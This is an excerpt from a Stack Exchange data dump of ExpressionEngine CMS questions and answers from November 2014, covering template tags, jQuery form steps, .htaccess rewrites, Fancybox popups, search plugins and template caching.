  <row Id="26914" PostTypeId="2" ParentId="26909" CreationDate="2014-11-26T13:13:48.477" Score="3" Body="&lt;p&gt;Module tutorial:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the official module creation  tutorial (for EE 2.9.2). Custom modules allow you to create CP (control panel) views to handle almost any function, whether it be a simple 'settings' page for your custom module, or more complex views such as querying your database for specific records and displaying them in your CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A custom module doesn't even need a CP page though. Using either ACTions or the plugin API you could create a module that does what you want and outputs it to a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the plugin API for more information on how to use your custom module in a template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/plugins.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/plugins.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2014-11-26T13:13:48.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26915" PostTypeId="2" ParentId="26910" CreationDate="2014-11-26T14:57:29.840" Score="1" Body="&lt;p&gt;A bit of a weird setup to be honest - but you can make this work with a conditional &lt;code&gt;limit&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;{if segment_2}9{if:else}4{/if}&quot; channel=&quot;featured|channel-1|channel-2|channel-3&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This assumes that this code is in the &lt;code&gt;index&lt;/code&gt; template of a template group.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-11-26T14:57:29.840" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26916" PostTypeId="2" ParentId="26908" CreationDate="2014-11-26T15:12:52.063" Score="0" Body="&lt;p&gt;The best way to do with would be with &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Freeform Pro&lt;/a&gt;, which allows you to collect form data across multiple pages easily. Unless you specifically need the resulting entries to be Channel entries (rather than Freeform entries), it might be your best bet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However - the simplest way to do this with a Channel Form is to simply show/hide different sections of the form with javascript.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;tournament&quot;}&#xA;&amp;lt;fieldset id=&quot;section_1&quot;&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Tournament Details&amp;lt;/legend&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;label for=&quot;tour_title&quot;&amp;gt;Tournament Name&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input class=&quot;medium&quot; type=&quot;text&quot; name=&quot;tour_title&quot; id=&quot;tour_title&quot; value=&quot;{tour_title}&quot;&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;label for=&quot;tour_body&quot;&amp;gt;Tournament Description&amp;lt;/label&amp;gt;&#xA;            &amp;lt;textarea name=&quot;tournament-description&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;etc .....&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;a href=&quot;#section_2&quot; class=&quot;next-section&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;fieldset id=&quot;section_2&quot;&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Personal Details&amp;lt;/legend&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;label for=&quot;tour_name&quot;&amp;gt;Your Name&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input class=&quot;medium&quot; type=&quot;text&quot; name=&quot;tour_name&quot; id=&quot;tour_name&quot; value=&quot;{tour_name}&quot;&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;label for=&quot;tour_email&quot;&amp;gt;Your Email Address&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input class=&quot;medium&quot; type=&quot;text&quot; name=&quot;tour_email&quot; id=&quot;tour_email&quot; value=&quot;{tour_email}&quot;&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;etc .....&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;a href=&quot;#section_1&quot; class=&quot;next-section&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then some jQuery like so (this is pretty generic, but to give the idea):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function()&#xA;{&#xA;    $('fieldset').not(':first').hide();&#xA;    $('.next-section').on('click', function(e)&#xA;    {&#xA;        e.preventDefault();&#xA;        target = $(this).attr('href');&#xA;        $('fieldset').hide();&#xA;        $(target).fadeIn();&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't actually &lt;em&gt;save&lt;/em&gt; an data between &quot;pages&quot; of course - it just breaks the form into multiple steps so it's easier to digest for the user.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-11-26T15:12:52.063" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="26917" PostTypeId="2" ParentId="26873" CreationDate="2014-11-26T15:21:39.813" Score="1" Body="&lt;p&gt;In that case you just need to change the last line of the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;standard .htaccess rules&lt;/a&gt;. (That link is worth reading in its entirety.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;        RewriteRule (.*?)index\.php/*(.*) sites/project/$1$2 [R=301,NE,L]&#xA;&#xA;        # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ sites/project/index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Re: links and CSS, that would all depend on how you're creating your navigation links, and how you're linking to your CSS. Hard to know what's up without seeing the relevant parts of your templates.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-11-26T15:21:39.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26918" PostTypeId="2" ParentId="26907" CreationDate="2014-11-26T15:24:51.117" Score="2" Body="&lt;p&gt;Unfortunately, requiring a captcha is site-wide, not form-specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest instead looking at &lt;a href=&quot;https://www.putyourlightson.net/snaptcha&quot; rel=&quot;nofollow&quot;&gt;Snaptcha&lt;/a&gt;, which is far more effective and requires no input from the user.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-11-26T15:24:51.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26919" PostTypeId="1" CreationDate="2014-11-26T15:42:09.263" Score="0" ViewCount="1645" Body="&lt;p&gt;I have a listing of staff member that I want to have a link that pops up a bio via fancybox. I have no problem getting this to work using static id's, but when I try to do it dynamically via a custom field it doesn't seem to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I am doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;staffLink&quot; href=&quot;#&quot; title=&quot;View {staff:staffName}'s bio&quot;&amp;gt;bio&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;                                        $(document).ready(function() {&#xA;                                            $(&quot;.staffLink&quot;).fancybox({&#xA;                                                href        : '#{staff:staffName} Bio',&#xA;                                                maxWidth    : 800,&#xA;                                                maxHeight   : 600,&#xA;                                                fitToView   : false,&#xA;                                                width       : '70%',&#xA;                                                height      : '70%',&#xA;                                                autoSize    : false,&#xA;                                                closeClick  : false,&#xA;                                                openEffect  : 'none',&#xA;                                                closeEffect : 'none',&#xA;                                                helpers     : {&#xA;                                                    media : {},&#xA;                                                    title : null,&#xA;                                                    overlay: {&#xA;                                                        opacity: 0.9&#xA;                                                    } // overlay &#xA;                                                }&#xA;                                            });&#xA;                                        });&#xA;                                    &amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;div style=&quot;display:none;&quot; id=&quot;{staff:staffName} Bio&quot;&amp;gt;{staff:staffName} test content&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I take out the custom field (staff:staffName) and just leave &quot;Bio&quot; for the id of the popup and in the the href of the Fancybox parameters it works. Also, If I look at the outputted code it populates correctly. The staff name is filled in for the href and the id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1150" LastActivityDate="2014-11-27T10:05:57.720" Title="Dynamic Content In Fancybox Not Working" Tags="|custom-fields|javascript|jquery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26920" PostTypeId="1" CreationDate="2014-11-26T17:18:32.653" Score="0" ViewCount="234" Body="&lt;p&gt;n00b to EE, just installed the free version 2.9.2 on ubuntu 14 VPS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have moved the system folder one level up and am able to login ok&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hitting /index.php gives me a login screen to the cp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the quick hello world tutorial and created a page which should appear at /index.php/site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however, the url always/only resolves back to /index.php?/cp/login&amp;amp;return=&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am logged in at the time when i get this login screen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can not find anything on the googles on this. thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3829" LastActivityDate="2014-12-26T17:52:09.703" Title="URLs always resolve back to /index.php?/cp/login&amp;return=" Tags="|login|ee|index.php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26921" PostTypeId="2" ParentId="26920" CreationDate="2014-11-26T17:32:27.123" Score="1" Body="&lt;p&gt;Your index.php shouldn't be showing your Control Panel - admin.php should do that. Sounds like you've modified the index.php file incorrectly.  Not sure what instructions you've followed, but I'd revert back to the original install index.php and admin.php and start here: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;Removing index.php&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for moving your core folder you should follow &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/best_practices.html#moving-the-system-directory-above-webroot&quot; rel=&quot;nofollow&quot;&gt;these instructions&lt;/a&gt;. You should really have only needed to modify the     &lt;code&gt;$system_path = '../system'&lt;/code&gt; variable in both index.php and admin.php (unless you've renamed your admin.php file for additional security);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supply an example of your htaccess folder if you're still having grief.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-11-26T17:32:27.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26922" PostTypeId="2" ParentId="26909" CreationDate="2014-11-26T19:09:27.440" Score="1" Body="&lt;p&gt;Depending on exactly what you want your buttons and &quot;specific functions&quot; to do, you can use the &lt;strong&gt;Channel Form&lt;/strong&gt; (formerly SafeCracker) (&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&lt;/a&gt;) add-on that will allow you to make changes to content within channels without having to log in to the CP. Note that even though it is considered an &quot;add-on,&quot; it is built into all EE installs starting at version 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;store&quot; entry_id=&quot;3&quot; return=&quot;store/products&quot;}&#xA;    &amp;lt;input name=&quot;price&quot; type=&quot;text&quot;&amp;gt; &amp;lt;!-- change info in the &quot;price&quot; field --&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: If you do not include an entry_id or an entry_title specification in the initial exp:channel:form tag, Channel Form will create an entirely new entry inside the channel in question (&quot;store&quot; in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this is helpful.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastEditorUserId="3795" LastEditDate="2014-11-26T19:39:29.297" LastActivityDate="2014-11-26T19:39:29.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26924" PostTypeId="2" ParentId="26919" CreationDate="2014-11-26T19:43:48.387" Score="1" Body="&lt;p&gt;You've got a few problems, all related to JavaScript, not EE though. You'd be better off asking on the &lt;a href=&quot;https://stackoverflow.com/questions/tagged/jquery&quot;&gt;general Stack Exchange&lt;/a&gt; if this doesn't answer it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your JavaScript code is being generated per loop of the bios, so you have 11 copies of the JS you've posted above and only the last one will ever run as they're all triggered from the same class trigger (.staffLink).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next issue is your html is invalid - the ID you're trying to use the content for is invalid and has spacing in href: &lt;code&gt;'#Steve Eller Bio'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest you ditch referencing it in that way and include only 1 occurance of the JS after all the bios have been output, then target the content relatively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{START EE BIO LOOP}&#xA;&amp;lt;div class=&quot;col-lg-3 col-md-4 col-sm-6 col-xs-6 staffItem item active&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;staffLink&quot; href=&quot;#&quot; title=&quot;View {staff:staffName}'s bio&quot;&amp;gt;bio&amp;lt;/a&amp;gt;&#xA;    ...&#xA;    &amp;lt;div style=&quot;display:none;&quot; class=&quot;staffBio&quot;&amp;gt;{staff:staffName} test content&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/END EE BIO LOOP}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the Bio content for the popup is inside the staffItem div. Now the JS (note I've changed the href parameter to &lt;code&gt;content&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function() {&#xA;        $(&quot;.staffLink&quot;).fancybox({&#xA;            content     : $(this).parent().siblings('.staffBio').html(),&#xA;            maxWidth    : 800,&#xA;            maxHeight   : 600,&#xA;            fitToView   : false,&#xA;            width       : '70%',&#xA;            height      : '70%',&#xA;            autoSize    : false,&#xA;            closeClick  : false,&#xA;            openEffect  : 'none',&#xA;            closeEffect : 'none',&#xA;            helpers     : {&#xA;                media : {},&#xA;                title : null,&#xA;                overlay: {&#xA;                    opacity: 0.9&#xA;                } // overlay &#xA;            }&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-11-27T10:05:57.720" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26925" PostTypeId="1" AcceptedAnswerId="27202" CreationDate="2014-11-26T21:28:23.933" Score="0" ViewCount="183" Body="&lt;p&gt;I have a product listing page which displays product title and product image as well product price. Part of the code related to product price looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if status == &quot;retail&quot;}&#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot;}&#xA;        &amp;lt;span class=&quot;store_product_price&quot;&amp;gt;{price}&amp;lt;/span&amp;gt;&#xA;        {if total_stock == 0}&amp;lt;br /&amp;gt;&amp;lt;span class=&quot;store_product_out_of_stock&quot;&amp;gt;Sold Out&amp;lt;/span&amp;gt;{/if}&#xA;    {/exp:store:product}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works for product without modifiers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how can I display product price which is stored as modifiers as product price range, something like $200-$400 (lowers - highest price)? I have try to use &lt;code&gt;price_inc_mod&lt;/code&gt; within &lt;code&gt;{modifier_options}&lt;/code&gt; and store all prices as an array, but somehow that last step wasn't working for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="115" LastEditDate="2014-12-19T19:48:03.277" LastActivityDate="2014-12-22T19:09:19.963" Title="Expresso Store: products listing with prices (in modifiers)" Tags="|expresso-store|modifiers|price-modifier|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26926" PostTypeId="1" CreationDate="2014-11-26T22:18:07.620" Score="0" ViewCount="34" Body="&lt;p&gt;Super Search Version 2.1.4, Expression Engine Version 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some searches have come through our website with &quot;&amp;amp;&quot; or &quot;®&quot;, and because of these symbols, these search terms produce zero search results. I've tried using Super Search's built-in Ignore Wordlist, but it doesn't seem to stop these symbols from ruining the search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that, so far, it seems that the ignore wordlist currently is not working with regular words. For example, one of the default ignored words is &quot;and&quot;, but searches with &quot;and&quot; in the search still ignore products that do no contain the word &quot;and&quot;. I even tried setting use_ignore_word_list=&quot;yes&quot; in the search template, but it had no effect. Please Advise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here is the {exp:super_search:results} portion of our search template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:super_search:results&#xA;        channel=&quot;products&quot;&#xA;        limit=&quot;12&quot;&#xA;        show_future_entries=&quot;yes&quot;&#xA;        search_in=&quot;title|product_display_title|product_author|product_sku|product_isbn&quot;&#xA;        search_words_within_words=&quot;yes&quot;&#xA;        allow_repeats=&quot;no&quot;&#xA;        paginate=&quot;bottom&quot;&#xA;        fuzzy_distance=&quot;2&quot;&#xA;        fuzzy_weighting=&quot;yes&quot;&#xA;    }&#xA;&#xA;        {if super_search_no_results}&#xA;            &amp;lt;div class=&quot;col-md-12&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;No results matched your query.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if super_search_total_results==1}&#xA;            {redirect=&quot;product/{url_title}&quot;}&#xA;        {/if}&#xA;&#xA;        {if count == 1 OR count == 4 OR count == 7 OR count == 10}&#xA;&#xA;        &amp;lt;div class=&quot;ad-col m-bottom&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row &quot;&amp;gt;&#xA;&#xA;        {/if}&#xA;                &amp;lt;div class=&quot;col-md-4 ad-small&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;well bg-1 ad-col-height&quot;&amp;gt;&#xA;                        &amp;lt;h4&amp;gt;&amp;lt;a class=&quot;inherit-hyperlink&quot; href=&quot;{url_title_path=product}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;div class=&quot;row m-top&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;{url_title_path=product}&quot;&amp;gt;&amp;lt;img class=&quot;img-responsive&quot; src=&quot;{if product_thumbnail}{product_thumbnail}{if:else}/media/products/noi.jpg{/if}&quot; alt=&quot;{title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-8&quot;&amp;gt;&#xA;                                {if product_tag!=&quot;&quot; AND product_tag != &quot;None&quot;}&#xA;                                    &amp;lt;p class=&quot;{product_tag}&quot;&amp;gt;{product_tag:label}&amp;lt;/p&amp;gt;&#xA;                                {/if}                           &#xA;                                {if product_author}&amp;lt;p&amp;gt;&amp;lt;small&amp;gt;By {product_author}&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;                                &amp;lt;p&amp;gt;Product Code: {product_sku}&#xA;                                &amp;lt;br /&amp;gt;Price: {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}{price}{/exp:store:product}&#xA;                                &amp;lt;br /&amp;gt;{if product_binding != &quot;Other&quot;}{product_binding}{/if}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url_title_path=product}&quot; class=&quot;btn btn-default&quot;&amp;gt;View Details&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!-- /.row --&amp;gt;&#xA;                        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-12 m-top&quot;&amp;gt;&#xA;                                {product_short_description}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- /.well --&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- /.ad-small --&amp;gt;&#xA;&#xA;        {if count == 3 OR count == 6 OR count == 9 OR count == 12 OR count == total_results}&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /row --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;        {paginate}&#xA;&#xA;        &amp;lt;div class=&quot;text-center&quot;&amp;gt;&#xA;        {pagination_links}&#xA;        &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;        {first_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/first_page}&#xA;&#xA;        {previous_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;&amp;amp;lt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/previous_page}&#xA;&#xA;        {page}&#xA;        &amp;lt;li {if current_page}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} &quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/page}&#xA;&#xA;        {next_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/next_page}&#xA;&#xA;        {last_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/last_page}&#xA;        &amp;lt;/ul&amp;gt;&#xA;        {/pagination_links}&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        {/paginate}&#xA;&#xA;    {/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3760" LastEditorUserId="3760" LastEditDate="2014-11-28T15:22:07.330" LastActivityDate="2014-11-28T15:22:07.330" Title="Is it posible to use symbols in Super Search's Ignore Wordlist?" Tags="|solspace|search|supersearch|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26927" PostTypeId="2" ParentId="26858" CreationDate="2014-11-26T22:33:09.957" Score="1" Body="&lt;p&gt;Ok everyone. I've figured this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using segment variables like SolSpace Calendar does, please be sure to add &lt;strong&gt;dynamic=&quot;no&quot;&lt;/strong&gt; to your {exp:channel:entries} tags since the segment variables are designed to be used by the Calendar module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, Calendar's segment variables were mucking up other things that were supposed to be happening without being affected by these variables. This was happening even though I was NOT using any {segment_#} tags in any of my {exp:channel:entries} tags, which seems quite counterintuitive. Just keep an eye out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whew!&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2014-11-26T22:33:09.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26929" PostTypeId="1" CreationDate="2014-11-26T22:51:54.757" Score="0" ViewCount="39" Body="&lt;p&gt;I have been doing a lot of testing of the search feature recently (if you haven't seen my 5 or 6 recent other posts with Super Search questions), and I'm realizing that I'm filling up the search log with a bunch of my own searches. Is there any way I can not log searches based on IP address, or maybe by user (if I'm logged in)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To that End can I delete searches from the search log easily (or at all, but I'd prefer not having to go through phpmyadmin)?&lt;/p&gt;&#xA;" OwnerUserId="3760" LastEditorUserId="3760" LastEditDate="2014-11-26T22:59:23.410" LastActivityDate="2016-05-18T04:11:23.623" Title="Can Super Search not log searches done by me?" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26930" PostTypeId="2" ParentId="26885" CreationDate="2014-11-27T08:38:13.850" Score="2" Body="&lt;h1&gt;How to fix&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Disable template caching on all templates.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Problem #1: Why is the template rendering as {c1a3d...8712}?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This bug was caused by EE's Template Caching feature and Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash has two parsing stages. The first stage will replace the contents of a template with variables ('{c1a3d...8712}') that get parsed in the post-process stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If template caching is enabled for a template then EE will cache the template output &lt;em&gt;before&lt;/em&gt; the post-process stage. When the template is loaded from the cache then Stash is unable to successfully execute the pre- and post-process stage and the half-processed template is displayed.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Problem #2: Why is this occurring intermittently?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When Template Caching is enabled and the 'Refresh Interval' is set to zero then is might appear that caching is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6nWjB.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, EE checks the timestamp of the last generated cache vs. the current timestamp. Therefore if page is loaded multiple times in 1 second, the &lt;code&gt;time()&lt;/code&gt; vs &lt;code&gt;time()&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt; and the cached template is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actual code: &lt;code&gt;elseif (time() &amp;gt; ($timestamp + ($refresh * 60)))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn off caching to avoid this.&lt;/p&gt;&#xA;" OwnerUserId="519" LastActivityDate="2014-11-27T08:38:13.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26932" PostTypeId="1" AcceptedAnswerId="26940" CreationDate="2014-11-27T10:01:44.303" Score="0" ViewCount="459" Body="&lt;p&gt;So a staff member (belonging the 'editor' group) recently left, and we'd like to update the password to a dummy one but I can't seem to be able to do it as EE is asking me for the current password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installed EE version is 2.8.0&lt;/p&gt;&#xA;" OwnerUserId="2813" LastActivityDate="2014-11-27T21:57:05.207" Title="Super Admin unable to reset user password without knowing current pasword" Tags="|password|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
